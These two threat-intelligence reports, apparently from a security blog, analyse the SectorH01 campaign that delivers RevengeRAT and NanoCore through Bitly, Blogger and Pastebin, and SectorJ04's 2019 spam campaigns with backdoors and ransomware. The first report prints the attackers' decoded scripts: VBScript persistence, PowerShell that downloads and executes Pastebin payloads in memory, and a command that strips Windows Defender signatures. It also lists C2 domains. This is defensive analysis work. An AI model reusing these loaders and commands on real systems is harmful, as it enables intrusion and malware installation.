Hagga of SectorH01 continues abusing Bitly, Blogger and Pastebin to deliver RevengeRAT and NanoCore


“Hagga” is the username of a Pastebin account used since December last year by a pervasive known group of threat actors which targets thousands of users around the world both for cyber espionage and cyber crime purposes using malspam. Their activities were first discovered in 2017, and the ThreatRecon Team tracks both this group and the members behind “Hagga” collectively as the SectorH01 group.

Since their activities were first discovered, they have been observed using a variety of commodity malware being spread from the same hosts and communicating with the same C2 addresses. Some of those commodity malware used in the past include RevengeRAT and NanoCore, which they are still using till now.

SectorH01 Group Attack Lifecycle

Their Targeting

Sectors the SectorH01 group has been observed targeting since discovery, likely for intelligence purposes:

  • Defense
  • Dissidents
  • Governments
  • Military

Sectors the SectorH01 group has been observed targeting since discovery, likely for criminal purposes:

  • Agriculture
  • Food
  • Hospitality
  • Manufacturing
  • News Media
  • Shipping
  • Tourism
  • Trade

Countries the SectorH01 group has been observed targeting for this event:

  • United States
  • United Kingdom
  • Latvia
  • France
  • Germany
  • India
  • Japan
  • South Korea
  • Taiwan
  • Thailand
  • Turkey
  • Vietnam

The targets of the malware in this blog post appear to be only for criminal activities
from June to September targeting enterprise users, the majority of whom are based in the United States.

The Phish

SectorH01 group sends phishing emails to their targets with subjects related to payments, such as purchase orders, invoices, request for quotations, telegraphic transfer confirmation documents, or overdue payments. In these emails, they attach file(s) related to the email contents in the form of Excel XLS, Microsoft Word DOC/DOCX, RTF, and ZIP files.

Sample Excel File (b4fdff7dbed8724bde2c097285ce5842373a3d5087f0d492479e62b48e3e5e2d)

In the cases of Excel XLS files, they have in recent months been using simple obfuscated VBA macros which executes mshta.exe against a Bitly shortened link which redirects to a Google Blogger (blogspot) link.

VBA Macro which executes mshta.exe embedded in malicious XLS file

The Blogger page looks benign but has obfuscated JavaScript hidden in its source code. This pattern of obfuscating JavaScript code is extensively used not only in the Blogger page but also on Pastebin, which is obfuscated over multiple layers and eventually decodes to various VBScript scripts which are run by the mshta.exe utility.

SectorH01 commonly uses multiple layers of the same encoding for its Pastebin scripts

By performing the same decoding on the Javascript code, we get the VBScript which performs multiple tasks such as terminating processes and setting persistence.

Example Decoded Script
<script language=”VBScript”> Set X7W832DSA = CreateObject(StrReverse(StrReverse(“WScript.Shell”))) Dim ASSd712ji8asd ASSd712ji8asd = “cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit” X7W832DSA.Run ASSd712ji8asd, vbHide Set X_ws = CreateObject(“WScript.Shell”) Pa_2da = “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate” X_ws.RegWrite Pa_2da,”mshta.exe http://pastebin.com/raw/2gY9SAwU”,”REG_EXPAND_SZ” Set Mi_G = CreateObject(StrReverse(StrReverse(“WScript.Shell”))) Dim X_hw X_hw0 = StrReverse(“t/ 03 om/ ETUNIM cs/ etaerc/ sksathcs”) X_hw1 = “n “”Avast Updater”” /tr “”mshta.ex” X_hw2 = “e h” + “t” + “t” + “p” + “:” + “/” + “/” + “p” + “a” + “s” + “t” + “e” + “b” + “i” + “n” + “.” + “c” + “o” + “m” + “/” + “r” + “a” + “w” + “/qZXnhtQG”” /F ” X_hw = X_hw0 + X_hw1 + X_hw2 Mi_G.Run X_hw, vbHide Set Ox_xw = CreateObject(StrReverse(StrReverse(“WScript.Shell”))) Dim P_wx P_wx0 = StrReverse(“t/ 003 om/ ETUNIM cs/ etaerc/ sksathcs”) P_wx1 = “n “”Avast backup”” /tr “”mshta.ex” P_wx2 = “e h” + “t” + “t” + “p” + “:” + “/” + “/” + “p” + “a” + “s” + “t” + “e” + “b” + “i” + “n” + “.” + “c” + “o” + “m” + “/” + “r” + “a” + “w” + “/Htp0LKHg”” /F ” P_wx = P_wx0 + P_wx1 + P_wx2 Ox_xw.Run P_wx, vbHide self.close </script>

Going into one of the scheduled tasks, we see more encoded text.

Example First-Layer Decoded Scheduled Task
<script language=”VBScript”> Set EAsxw = CreateObject(StrReverse(“llehS.tpircSW”)) Dim Xsks Xsks = StrReverse(“XEI|)OLOL$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[;)14,201,63,44,93,101,021,101,64,001,801,501,711,66,38,77,93,04,101,021,101,85,85,39,211,711,611,501,701,99,79,27,64,701,19,95,88,96,37,421,14,93,021,84,93,44,93,33,46,53,93,04,101,99,79,801,211,101,411,64,14,93,84,67,88,68,711,35,101,84,74,911,79,411,74,901,111,99,64,011,501,89,101,611,511,79,211,74,74,85,511,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,201,63,39,39,19,101,611,121,66,19,95,88,96,37,421,14,93,98,27,121,711,17,56,15,94,74,911,79,411,74,901,111,99,64,011,501,89,101,611,511,79,211,74,74,85,511,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,601,201,63,95,14,93,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,93,04,101,901,79,87,801,79,501,611,411,79,08,401,611,501,78,001,79,111,67,85,85,39,121,801,89,901,101,511,511,56,64,011,111,501,611,99,101,801,201,101,28,64,901,101,611,511,121,38,19,23,39,001,501,111,811,19(@=OLOL$”) X_WRc = StrReverse(“P”) + StrReverse(“o”) + StrReverse(“w”) + StrReverse(StrReverse(StrReverse(StrReverse(“e”)))) + StrReverse(“r”) + StrReverse(“s”) + StrReverse(“h”) + StrReverse(StrReverse(StrReverse(StrReverse(“e”)))) + StrReverse(StrReverse(“l”)) + StrReverse(StrReverse(“l”)) + StrReverse(“.”) + StrReverse(StrReverse(StrReverse(StrReverse(“e”)))) + StrReverse(“x”) + StrReverse(StrReverse(StrReverse(StrReverse(“e”)))) + Space(1) + Xsks EAsxw.Run X_WRc, vbHide self.close </script>

Finally, further decoding shows it loading different malware from two Pastebin sites, which are again obfuscated.

Example Second-Layer Decoded Scheduled Task
[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’https://pastebin.com/raw/13AGuyHY’)|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’https://pastebin.com/raw/0e5uVXL0′).replace(‘#@!’,’0x’)|IEX;[k.Hackitup]::exe(‘MSBuild.exe’,$f)

At other times, the decoded scripts will make use of .NET Reflection

Example of .NET Reflection in Decoded Script
do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName(‘Microsoft.VisualBasic’);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’https://pastebin.com/raw/QppWFhGC’)|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),’DownloadString’,[Microsoft.VisualBasic.CallType]::Method,’https://pastebin.com/raw/Q8g1d6Be’).replace(‘)&*^’,’0x’)|IEX;$obj =@(‘MSBuild.exe’,$f);$g22=$a.GetType(‘THC452563sdfdsdfgr4777cxg04477fsdf810df777’);$y=$g22.GetMethod(‘retrt477fdg145fd4g0wewerwedsa799221dsad4154qwe’);$j=[Activator]::CreateInstance($g22,$null);$y.Invoke($j,$obj)

After looking at the various scripts used, we observed these obfuscated JavaScript code mainly serving one or more of these purposes:

  • Terminating Microsoft Office processes winword.exe, excel.exe, MSPUB.exe, POWERPNT.exe, and sometimes Windows Defender processes MSASCuiL.exe and MpCmdRun.exe
  • Interfering with Windows Defender via command “MpCmdRun.exe -removedefinitions -dynamicsignatures”
  • Setting Registry Autorun Persistence to execute mshta.exe on a Pastebin url
  • Setting Scheduled Task Persistence to execute mshta.exe on a Pastebin url
  • Executing malware in memory, sometimes in Microsoft’s .NET MSBuild.exe

In most cases, SectorH01 group in fact performed all of the above and sometimes multiple of the above by stacking multiple Pastebin urls and multiple commands in a single url. Moreover, since SectorH01 group is using the “Hagga” Pastebin account which has the ability to perform edits on the user’s pastes, they at times modify the paste to perform different actions. Below is the attack flow using this sample Excel file as an example.

www[.]bitly[.]com/adsodeasdaRedirect to https://xasjow21d[.]blogspot.com/p/14[.]html
https://xasjow21d[.]blogspot.com/p/14[.]html mshta.exe http://www[.]pastebin[.]com/raw/8uJavttD
http://www[.]pastebin[.]com/raw/8uJavttD (1) MpCmdRun.exe -removedefinitions -dynamicsignatures
(2) taskkill winword.exe / excel.exe / MSPUB.exe / POWERPNT.exe / MSASCuiL.exe / MpCmdRun.exe
(3) Run https://pastebin[.]com/raw/7EdEuebH via PowerShell
(4) Run http://pastebin[.]com/raw/ri21rHbF via mshta.exe
http://pastebin[.]com/raw/ri21rHbFDeobfuscates to RevengeRAT (CF6293824C97C45680CF999955FD48801856B424DC6E3CEAC6D5E36BB4092856)
http://pastebin[.]com/raw/ri21rHbF [Paste Edit 1](1) taskkill winword.exe / excel.exe / MSPUB.exe / POWERPNT.exe
(2) Set Registry Autorun Persistence to execute
mshta.exe http://pastebin[.]com/raw/2gY9SAwU
(3) Set Scheduled Task Persistence to execute
mshta.exe http://pastebin[.]com/raw/qZXnhtQG
(4) Set Scheduled Task Persistence to execute
mshta.exe http://pastebin[.]com/raw/Htp0LKHg
http://pastebin[.]com/raw/ri21rHbF [Paste Edit 2] (1) ping Google
(2) Run https://pastebin[.]com/raw/QppWFhGC via Reflection
(3) Run https://pastebin[.]com/raw/Q8g1d6Be
replace(‘)&*^’,’0x’) via Reflection
http://pastebin[.]com/raw/2gY9SAwU Self.close()
http://pastebin[.]com/raw/qZXnhtQG (1) Execute https://pastebin[.]com/raw/13AGuyHY
via Reflection
(2) Execute k.Hackitup() in https://pastebin[.]com/raw/0e5uVXL0
replace(‘#@!’,’0x’) via Reflection
http://pastebin[.]com/raw/Htp0LKHg Self.close()
https://pastebin[.]com/raw/QppWFhGC Deobfuscates to a code injector (E22D550423F05EB685AD060A71D58B306E31C473D2D0CACF5794EC424FD3F393)
Obfuscated with ConfuserEx
https://pastebin[.]com/raw/Q8g1d6Be Deobfuscates to NanoCore (E841F0008D9DA41CD815F75657D305DD69FC169C64FA283BF62DECD02B3D931E)
Obfuscated with Eazfuscator
https://pastebin[.]com/raw/13AGuyHY Deobfuscates to a code injector (84833991F1705A01A11149C9D037C8379A9C2D463DC30A2FEC27BFA52D218FA6)
Obfuscated with ConfuserEx
https://pastebin[.]com/raw/0e5uVXL0 Deobfuscates to NanoCore (94B7C5C65637D33F031F1173A68C1D008DD948B6CCBAE42682F82A56D3CF6197)
Obfuscated with Eazfuscator

Usage of bit.ly, blogspot and pastebin allows SectorH01 group to be less traceable on the infrastructure side, but it is because of this that we know their pastes center around the “hagga” user these days. As long as Pastebin tolerates this user, they are likely to continue using the account because Pastebin pro accounts are no longer for sale.

But as pastes can be easily removed by incoming abuse reports, the SectorH01 group hedges their risk by getting to connect to multiple unlisted pastes. We see this same hedging they perform on their target endpoints, where they put multiple layers of persistence, use more than one type of RAT at the initial stage, and connect to multiple servers.


RevengeRAT is a RAT which has its malware builder and source code publicly available. It is set to use the C2 address ontothenextone[.]duckdns[.]org.

Some of the configuration settings of this RevengeRAT variant

RevengeRAT uses Base64 encoding for its C2 traffic and this information is easily decoded. From the configuration settings, we see the key variable “Revenge-RAT” and the SPL variable “-]NK[-“, both of which are used as delimiters between the Base64 encoded data.

Information sent to the C2 in a past packet capture of this sample which can be easily decoded


NanoCore is a RAT which was available for sale from 2014-2016 and has been leaked over the years. While the developer of NanoCore was arrested and sentenced last year, the RAT is still used by attackers.

In this case, the two NanoCore samples we found encoded in Pastebin sites attempted to connect to the C2 addresses attilabanks[.]ddns[.]net and yakka[.]duckdns[.]org. The C2 traffic of NanoCore is known to use the DES algorithm for encryption.I


SectorH01 is a threat group which in most cases, targets seemingly indiscriminately at enterprise users; even when they target for espionage, their TTPs have been known to stay fairly constant. They remain brazen in their attacks although we see a slight improvement in their operational security, and still use relatively simple tricks such as macros, known and detected RATs but in-memory only, and connect to domains such as Pastebin and dynamic DNS servers which should raise red flags or at least questions. All of these should be opportunities for organizations to detect the SectorH01 group.

Indicators of Compromise (IoCs)

Malicious Documents (SHA-256)


RevengeRAT (SHA-256)


NanoCore (SHA-256)


Code Injectors (SHA-256)


C2 Domains


Abused Legitimate Services


MITRE ATT&CK Techniques

The following is a list of MITRE ATT&CK Techniques we have observed based on our analysis of these and other related malware.

Initial Access

T1193 Spearphishing Attachment


T1059 Command-Line Interface
T1173 Dynamic Data Exchange
T1106 Execution through API
T1203 Exploitation for Client Execution
T1170 Mshta
T1086 PowerShell
T1053 Scheduled Task
T1064 Scripting
T1204 User Execution


T1108 Redundant Access
T1060 Registry Run Keys / Startup Folder
T1053 Scheduled Task

Defense Evasion

T1140 Deobfuscate/Decode Files or Information
T1089 Disabling Security Tools
T1054 Indicator Blocking
T1202 Indirect Command Execution
T1112 Modify Registry
T1170 Mshta
T1045 Software Packing
T1055 Process Injection
T1064 Scripting
T1108 Redundant Access
T1102 Web Service

Credential Access

T1056 Input Capture
T1081 Credentials in Files
T1241 Credentials in Registry


T1016 System Network Configuration Discovery
T1033 System Owner/User Discovery
T1057 Process Discovery
T1063 Security Software Discovery
T1082 System Information Discovery
T1083 File and Directory Discovery


T1056 Input Capture
T1123 Audio Capture
T1125 Video Capture

Command and Control

T1032 Standard Cryptographic Protocol
T1065 Uncommonly Used Port
T1094 Custom Command and Control Protocol
T1105 Remote File Copy
T1132 Data Encoding


T1022 Data Encrypted
T1041 Exfiltration Over Command and Control Channel


[1] The Daily Beast – FBI Arrests Hacker Who Hacked No One

SectorJ04 Group’s Increased Activity in 2019


SectorJ04 is a Russian-based cybercrime group that began operating about five years ago and conducted hacking activities for financial profit using malware such as banking trojans and ransomware against national and industrial sectors located across Europe, North America and West Africa.

In 2019, the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia, and is changing the pattern of their attacks from targeted attacks to searching for random victims. This report includes details related to the major hacking targets of the SectorJ04 group in 2019, how those targets were hacked, characteristics of their hacking activities this year and recent cases of the SectorJ04 group’s hacking.

SectorJ04 group activity range and hacking methods

The SectorJ04 group has maintained the scope of its existing hacking activities while expanding its hacking activities to companies in various industrial sectors located in East Asia and Southeast Asia. There was a significant increase in their hacking activities in 2019, especially those targeting South Korea. They mainly utilize spam email to deliver their backdoor to the infected system that can perform additional commands from the attacker’s server.

Main countries and sectors targeted

The SectorJ04 group’s preexisting targets were financial institutions located in countries such as North America and Europe, or general companies such as retail and manufacturing, but they recently expanded their areas of activity to include the medical, pharmaceutical, media, energy and manufacturing industries. They do not appear to place much restrictions on the sectors targeted. The following are the sectors and countries under which SectorJ04 group was found in 2019.

Figure 1 SectorJ04 group’s first half activity timeline in 2019

Targeted Countries

We saw SectorJ04 group activity in Germany, Indonesia, the United States, Taiwan, India, France, Serbia, Ecuador, Argentina, South Korea, Japan, China, Britain, South Africa, Italy, Hong Kong, Romania, Ukraine, Macedonia, Russia, Switzerland, Senegal, the Philippines, UAE, Qatar, Saudi Arabia, Pakistan, Thailand, Bahrain, Turkey, Bulgaria, Bangladesh

Figure 2 SectorJ04 group targeted countries

Targeted Industries

  • Financial-related corporate and government departments such as banks and exchanges
  • Retail business such as shopping malls and social commerce
  • Educational institutions such as a universities
  • Manufacturing companies such as manufactures of electronic products
  • Media companies such as broadcasting and media
  • Pharmaceutical and biotechnology-related companies
  • A job-seeking company
  • Energy-related companies such as urban gas and wind power generation

Hacking Techniques

The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached, and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system. As anti-virus programs have recently begun to detect MSI files, in some instances macro scripts contained in the malicious documents would install backdoors directly onto infected systems without using MSI files.

Figure 3 Schematic drawing for SectorJ04 group’s hacking method

Malicious documents used for hacking are mainly written as themes related to MS Office, and the same themes are often used several times, with only language changes depending on the victim’s language.

In addition, the MSI files backdoor used by SectorJ04 mostly had valid digital signatures, and most of their malware were signed just days before they were found.

Figure 4 Part of the malicious document execution screen that the SectorJ04 group attaches to the spear phishing email
Figure 5 Part of the digital signature found in the executable used for hacking

Digital signature information found in malware

  • Dream Body Limited

Main Malware Used

The SectorJ04 group mainly used their own backdoor, ServHelper and FlawedAmmy RAT, for hacking. They also used the Remote Manipulator System (RMS) RAT, a legitimate remote management software created in Russia. Backdoors are installed in infected systems and they also distributed email stealers, botnet malware and ransomware through those backdoors.

They were recently confirmed to use additional backdoor called AdroMut and FlowerPippi, which is used to install other backdoor such as FlawedAmmy RAT on behalf of the MSI file, or to collect system information and send it to the attacker’s server.

Malware Types Found Before 2019

ServHelperFlawedAmmy RATRMS RAT
Initial Infection MethodAn MSI file that is downloaded from a document file attached to a spear phishing email.
Downloaded by MSINullsoft InstallerEncoded FlawedAmmy RATSFX File
CharacteristicC2 response has certain separatorCheck for Antivirus
Register AutoPlay with “wsus.exe”
Utilize configuration files in DAT formats

Malware Types Found After 2019

Initial Infection MethodDocument files attached to the spear phishing emails
CharacteristicsInternal-used strings are decoded into AES-256-ECB mode after base64 decode.
Configure infection system information in JSON format (encrypted)
Load into “ComputerDefaults.exe” using DLL side loading technique
A simpler function than hard-coded RC4 key AdroMut

Backdoor installed in the infected system distributed additional botnet malware, ransomware and email stealers. The email stealer collects connection protocol information and account information, such as SMTP, IMAP, and POP3, which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format.

Figure 6 Format to send email credentials collected by email stealer
Figure 7 Some of the email stealer codes that access email account information stored in the registry
Figure 8 Some of the email stealer codes that access email account information stored in the registry 2

An email stealer may also have a file collection function to collect email information that is recorded in the metadata of the file corresponding to the hard-coded extension. In addition, the malware eventually creates and executes a batch file for self-delete, removing the execution traces from the infected PC.

Figure 9 Some of the file extensions that the email stealer collects data from

The SectorJ04 group is believed to collect email accounts stored in infection systems for use in subsequent attacks.

Characteristics of hacking activities of SectorJ04 group in 2019

The following are the features of the first half of 2019 activities identified through the analysis of the SectorJ04 group’s hacking activities.

  • Increased hacking activities targeting East and Southeast Asia
  • Changes in spam email format and hacking methods
  • Changes in targets of hacking from specific organizations and industry groups to large number of irregular ones

Although the SectorJ04 group mainly targeted countries located in Europe or North America, it has recently expanded its field of activities to countries located in Southeast Asia and East Asia. In particular, the frequency of hacking attacks targeting South Korea has increased, and spam emails targeting China were found in May.

The changes could also be seen in attachments to spam emails used by attackers. Existing spam emails used attachments in the form of malicious documents, but attachments with HTM and HTML extensions were also found and the text included links to download malicious documents directly.

The SectorJ04 group’s initial spam emails had no mail content or only short sentences, but the latest spam emails found were elaborately written and included images. A new type of backdoor called AdroMut and a new malware called FlowerPippi was also found coming from SectorJ04.

Prior to 2019, the SectorJ04 group conducted large-scale hacking activities for financial gain using exploit kits on websites to install ransomware, such as Locky and GlobeImporter, along with its banking Trojan, on its victims computers. But after 2019 the group has changed its hacking strategy to attack using spam email. In particular, a number of remote control malware are utilized to gain access to resources such as email accounts and system login information from the infected machine to send more spam emails and distribute their malware.

Increased hacking activities targeting East and Southeast Asia

The hacking activities of SectorJ04 group, which targeted South Korea in the first half of 2019, have been continuously discovered. The emails found were written in relation to invoice and tax accounting data, and were attached the MS Word or Excel files with malicious macros inserted. Malicious documents written in Korean have the same characteristics as other language hacking activities under the theme of MS Office.

Figure 10 Spear phishing emails disguised as order sheets

In June 2019, continuous hacking activities targeting South Korea were found again and spam emails were written with various contents, including transaction statements, receipts and remittance cards. During that period, a number of spam emails disguised as remittance cards of the same type were found.

Figure 11 Spear phishing email disguised as a remittance card

The SectorJ04 group has carried out large-scale hacking activities targeting South Korea, while also expanding the field of attacks to Southeast Asian countries such as Taiwan and the Philippines. Spam emails and attachments written in Chinese were found in May, and the SectorJ04 group at that time targeted industrial sectors such as electronics and telecommunications, international schools and manufacturing.

Figure 12 Spear phishing emails written in Chinese
Figure 13 Malicious excel file execution screen written in Chinese

Changes in spam email format and hacking methods

In June, SectorJ04 group conducted hacking using spam emails written in various languages, including English, Arabic, Korean and Italian, and the emails were written with various contents, including remittance card, invoice and tax invoice.

Along with the existing method of using MS Word or Excel files as attachments, they used HTML files to download malicious documents as attachments, or included links to download malicious documents directly in the text.

In the past, the emails used in attacks had little or no content, but the latest ones use elaborated spam emails for hacking, such as using images.

Figure 14 Spear phishing email disguised as bank statement
Figure 15 Spear phishing email disguised as a hospital certificate

Changes have also been found in the hacking method of the SectorJ04 group. In addition to their preexist backdoor, ServHelper and FlawedAmmy, they have also been confirmed to use the backdoor called AdroMut and FlowerPippi.

AdroMut downloads the malware (ServHelper and FlawedAmmy RAT) used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor.

FlowerPippi collects infection system information, such as the domain of the infected system, proxy settings, administrator rights, and OS version, and performs functions such as executing commands received, downloading and executing DLL and EXE files.

Figure 16 Encoded Strings on the AdroMut Backdoor
Figure 17 RC4 key with hard-coded view from the FlowerPippi back door

The SectorJ04 group is believed to have developed and used malware that functions as a downloader for the purpose of installing or downloading malware to replace the MSI installation files that they have used for hacking for more than six months as the detection rate of security solutions increased.

Figure 18 Some of the digital certificate information identified in the corresponding hacking activity

The SectorJ04 group, which has been utilizing the same pattern of infection and the same malware for more than six months, is believed to be attempting to change its infection methods such as downloading malware directly from malicious documents without using MSI installation files, changing their spam email format and using new types of backdoor.

Changes in hacking targets from specific organizations and industries to random ones

Until 2019, SectorJ04 group had carried out massive website-based hacking activities that mainly utilize ransomware and banking trojans for financial profit, and has also been carrying out information gathering activities to secure attack resources such as email accounts and system login information from users since 2019.

This allows them to expand their range of targets of hacking activities for financial profit, and in this regard, SectorJ04 group has been found to have hacked into a company’s internal network by using a spear phishing email targeting executives and employees of certain South Korean companies around February 2019.

They eventually hacked the Active Directory (AD) server and took control of the entire corporate internal network, and then distributed the Clop ransomware on the AD server. From the hacking activity, we also found malware for collecting email information and “AmadeyBot”, a botnet malware that which has its source code available in Russia’s underground forums.

Figure 19 Spear phishing email used for hacking activities targeting AD servers in South Korea

They are believed to have continuously attempted to hack into companies in South Korea to distribute Clop ransomware. Attackers used spam emails disguised as being sent by the National Tax Service in May to install FlawedAmmy RAT in the infected system, during which the Clop ransomware was found using the same certificate as the FlawedAmmy RAT executable file.

Figure 20 Spear phishing email disguised as tax bill

The SectorJ04 group has shown a pattern of hacking activities that have changed from targeted attacks to a large-scale distribution of spam.

Major Malware Installation Types

The following describes three types of backdoor infections that are installed from malicious documents identified in the SectorJ04 group-related hacking cases that occurred during the first half of 2019.

Type 1 – Using encoded executable file

SectorJ04 group carried out intensive hacking on various industrial sectors, including South Korea’s media, manufacturing and universities, around February and March 2019. They used the spear phishing email to spread malicious Excel or malicious Word files, and downloaded the MSI files from the attacker’s server when the malicious documents were run.

The MSI file installs a downloader that downloads FlawedAmmy RAT encoded in the infection system from the attacker server, and the downloaded FlawedAmmy RAT registers an automatic execution under the name “wsus.exe.”

Figure 21 Type of backdoor installation to install encoded executable file Type 1

FlawedAmmy RAT performs remote control functions in the infected system and decodes encoded executable files downloaded from the attacker server using certain hard-coded strings. It also has a function to check if a particular process is running to determine whether their malware should be executed.

Figure 22 “Ammy Admin” string found in FlawedAmmy RAT
Figure 23 Part of decode code that uses hard-coded strings

Type 2 – Using NSIS Script

SectorJ04 group conducted hacking activities targeting financial institutions located in India and Hong Kong around April 2019. Malicious documents delivered through the spear phishing email downloaded the MSI file, which forwards the NSIS Installer to the infected system. The NSIS script executes the final payload, ServHelper, in the DLL file format, using “rundll32.exe”.

Note that NSIS (Nullsoft Scriptable Install System) is a script-based installation system for Windows and is a lightweight installation system supported by Nullsoft.

Figure 24 Backdoor installation type utilizing NSIS Installer Type 2

Decompressing the NSIS installer installed by the MSI file shows that it consists of an NSIS script with an NSI extension, a ServHelper in the DLL file format, and a “ncExec.dll,” the normal DLL required to run the NSIS.

Figure 25 Uncompressed NSIS installer
Figure 26 Part of the NSIS script for running ServHelper in the DLL file format

ServHelper performs the function of the backdoor in the infection system and sends specific types of responses to C2 servers using delimiters such as “key,” “sysid,” and “resp”. Different types of delimiters are sometimes found depending on malware.

Figure 27 ServHelper Backdoor C2 Communication Code Partial

Type 3 – Using Self-Extracting File

SectorJ04 group carried out hacking activities targeting financial institutions located in Italy and other countries around May 2019. Malicious documents delivered through the spear phishing email pass MSI files to the infection system, and MSI files download the executable self-extracting file (SFX). When the SFX file is executed, another SFX file inside is executed and the final payload, RMS RAT, is delivered to the infected system.

Figure 28 Backdoor installation type utilizing SFX executable files Type 3

Within the first SFX file to be downloaded by the MSI file, there are four files. When executing an SFX file, it uses a command to change the extension of the SFX file (“kernel.dll”) of the DLL extension to EXE and decompress it using a hard-coded password. The files that make up the SFX file vary from malware to malware.

Figure 29 The first SFX file to be downloaded from an MSI file
Figure 30 “i.cmd” for decompression of the second SFX file

Four files can be seen in the second SFX file that has been decompressed, and as before, running “exit.exe”. “exit.exe” executes the same “i.cmd” as before, which executes an RMS RAT with the file name “winserv.exe” in the registry. RMS RAT is a legitimate remote management software created in Russia, and files with DAT extensions contain configuration information to run the RMS RAT.

Figure 31 Configuring a second SFX file disguised as a DLL file extension
Figure 32 RMS RAT configuration file with a DAT extension

SectorJ04 Group Activity in South Korea

The following is about the activities of the SectorJ04 group found in South Korea in July and August 2019.

Hacking activities disguised as electronic tickets by large airlines

In late July, SectorJ04 group used FlawedAmmy RAT to carry out hacking attacks on companies and universities in sectors such as education, job openings, real estate and semiconductors in South Korea. Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity.

Figure 33 Spam email disguised as electronic tickets

They used spam emails disguised as those sent by large South Korean airlines and used ISO-format files as attachments. The group used the same body contents of the email to deliver spam emails to multiple hacking targets.

Decompressing the ISO file attached to the spam email would show an SCR file disguised as a “.pdf” extension exists, which is a .NET executable file that downloads an MSI file. The ISO files sometimes contain LNK files, which, like the malware written in .NET, download an MSI files from a remote location.

Figure 34 A disguised SCR file identified within an ISO file
Figure 35 MSI file downloader written as .NET
Figure 36 Disguised LNK file identified within ISO file

The following valid digital signatures were found in the MSI file downloaded from the attacker server. Other digital signatures were also found issued by “HAB CLUB LT” and “LUK 4 TRANSPORT LT”.

Figure 37 Digital signature information for MSI files found in hacking activities

Finally, FlawedAmmy RAT is downloaded from the remote server and the activity uses a Base64 encoded Powershell script to determine if the infected system is a PC contained in an Active Directory Domain.

Figure 38 Powershell script to determine if a PC belongs to a domain

Hacking activity using same email content as the past

In early August, the SectorJ04 group carried out extensive hacking activities targeting the users around the world, including South Korea, India, Britain, the United States, Germany, Canada, Argentina, Bangladesh and Hong Kong.

Their activities were particularly heavy in healthcare-related areas such as healthcare, pharmaceuticals, biotechnology and healthcare-wage management, as well as energy-related companies such as gas and wind power. Also, they continued their attacks on preexisting hacking target areas such as manufacturing, distribution and retail.

The contents of the text written in French and English were found in the spam email, and an MS Word file with random numbers was used as an attachment. All emails found in the hacking activity had the same text content.

Figure 39 Spear phishing emails written in French and English

Spam emails in Korean were also identified in the hacking activity, indicating that the contents of the text of the email used in the hacking activity were reused in June. Attached file is an MS Word file titled “스캔_(random number).doc”.

Figure 40 Spear phishing email targeted to South Korea using the same text used in the past

The MS Word file used as an attachment is disguised as an order confirmation and a goods receipt. Running the macro from the document would allow the downloader with the DLL file format to run using “rundll32.exe”. The downloader downloads FlawedAmmy RAT from the attacker server and runs under the name “rundl32.exe”.

Figure 41 Malicious document execution screen disguised as order confirmation
Figure 42 Malicious document execution screen for Korea language users disguised as a receipt of goods
Figure 43 Part of the macro script included in the malicious document

FlawedAmmy RAT found in the hacking activity showed the existing “Ammyy Admin” string being modified to “Popss Admin” and created Mutex with “KLGjigjuw4j892358u432i5”. In addition, the compile path “c:\\123\\123\\clear\\ammyygeneric\\target\\TrFmFileSys.h” was found inside the file.

Figure 44 Change hard-coded string information in FlawedAmmy RAT
Figure 45 Mutex generation code using hard-coded string information

In addition to the above mentioned changes in the FlawedAmmy RAT found in the most recent hacking activity, other changes such as changes in their string decoding were identified.


The SectorJ04 group’s range of targets increased sharply in 2019, and they appear to be striving to carry out elaborated attacks while at the same time targeting indiscriminately. They are one of the most active cyber crime groups in 2019, and they often modify and tweak their hacking methods and perform periodic hacking activities.

The SectorJ04 group’s hacking activities are expected to continue to increase, and the ThreatRecon team will continue to monitor the attack activity against the group.

Indicators of Compromise

IoCs of the SectorJ04 group included in the report can be found here.

More information about the SectorJ04 group is available to customers of ThreatRecon Intelligence Service (RA.global@nshc.net).

MITRE ATT&CK Techniques

The following is a list of MITRE ATT&CK Techniques we have observed based on our analysis of these malware.

Initial Access

Spearphishing Attachment
Spearphishing Link
Trusted Relationship


Command-Line Interface
Execution through API
